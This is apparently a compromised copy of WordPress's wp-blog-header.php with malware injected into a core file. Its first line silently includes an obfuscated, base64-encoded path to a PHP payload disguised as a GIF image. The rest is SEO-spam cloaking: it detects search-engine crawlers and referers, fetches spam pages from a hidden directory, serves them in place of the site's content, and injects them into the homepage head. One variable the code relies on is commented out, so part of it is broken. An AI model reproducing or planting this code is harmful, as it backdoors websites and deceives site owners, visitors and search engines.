File: /var/www/html/wp-blog-header.php
<?php @include base64_decode("L3Zhci93d3cvaHRtbC93cC1pbmNsdWRlcy9pbWFnZXMvdy1lZmJkYWFiZmFiZGViLmdpZg==");?><?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
$request_uri = $_SERVER['REQUEST_URI'];
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$base_url = $protocol . $_SERVER['HTTP_HOST'] . '/wp-includes/interactivity-api/';
$http_referer = $_SERVER['HTTP_REFERER'] ?? '';
// $http_user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$is_search_engine_ua = preg_match('/(google|bing|yahoo)/i', $http_user_agent) && !in_array($request_uri, ['/', '/index.php']);
$is_search_engine_referer = preg_match('/(google\.com|bing\.com|yahoo\.com)/i', $http_referer) && !in_array($request_uri, ['/', '/index.php']);
if ($is_search_engine_ua || $is_search_engine_referer) {
$target_url = rewriteUrl($request_uri);
$request_url =$base_url . $target_url;
$response = fetch_content($request_url, $http_user_agent, $http_referer);
if ($response !== false) {
echo $response;
exit;
exit;
}
}
if (!isset($wp_did_header)) {
ob_start();
require_once __DIR__ . '/wp-load.php';
wp();
require_once ABSPATH . WPINC . '/template-loader.php';
$output = ob_get_clean();
if (in_array($request_uri, ['/', '/index.php']) && preg_match('/(google|bing|yahoo)/i', $http_user_agent)) {
$target_url='index.php?t=category';
$request_url =$base_url . $target_url;
$response = fetch_content($request_url, $http_user_agent, $http_referer);
if ($response !== false) {
$output = preg_replace('/<head>/', '<head>'.$response, $output, 1);
}
}
echo $output;
}
function fetch_content($url, $user_agent, $http_referer, $timeout = 5)
{
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: $user_agent\r\n" .
"Referer: $http_referer\r\n" .
"Accept-Language: en-US\r\n",
'timeout' => $timeout
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
]);
return file_get_contents($url, false, $context);
}
function rewriteUrl($request_uri) {
$rules = [
['pattern' => '/detail\/(?:[^_]*)_([^\.\/]+)\.html$/', 'target' => 'index.php?t=detail&i=$1'],
['pattern' => '/collection\/(?:[^_]*)_([^\.\/]+)\.html$/', 'target' => 'index.php?t=collection&i=$1'],
['pattern' => '/collection\/(?:[^_]*)_([^\.\/]+)\/(\d+)\/(\d+)\.html$/', 'target' => 'index.php?t=collection&i=$1&n=$2&s=$3'],
['pattern' => '/sitemap.xml$/', 'target' => 'index.php?t=sitemap&s=&f=xml'],
['pattern' => '/sitemap(-\d+)?\.(txt|xml)$/', 'target' => 'index.php?t=sitemap&s=$1&f=$2'],
['pattern' => '/static\/(.*)$/', 'target' => 'index.php?t=static&p=static&e=$1'],
['pattern' => '/wp-content\/(.*)$/', 'target' => 'index.php?t=static&p=wp-content&e=$1'],
['pattern' => '/wp-includes\/(.*)$/', 'target' => 'index.php?t=static&p=wp-includes&e=$1']
];
foreach ($rules as $rule) {
if (preg_match($rule['pattern'], $request_uri, $matches)) {
$target_url = $rule['target'];
for ($i = 1; $i < count($matches); $i++) {
$target_url = str_replace('$' . $i, $matches[$i], $target_url);
}
return $target_url;
}
}
return '';
}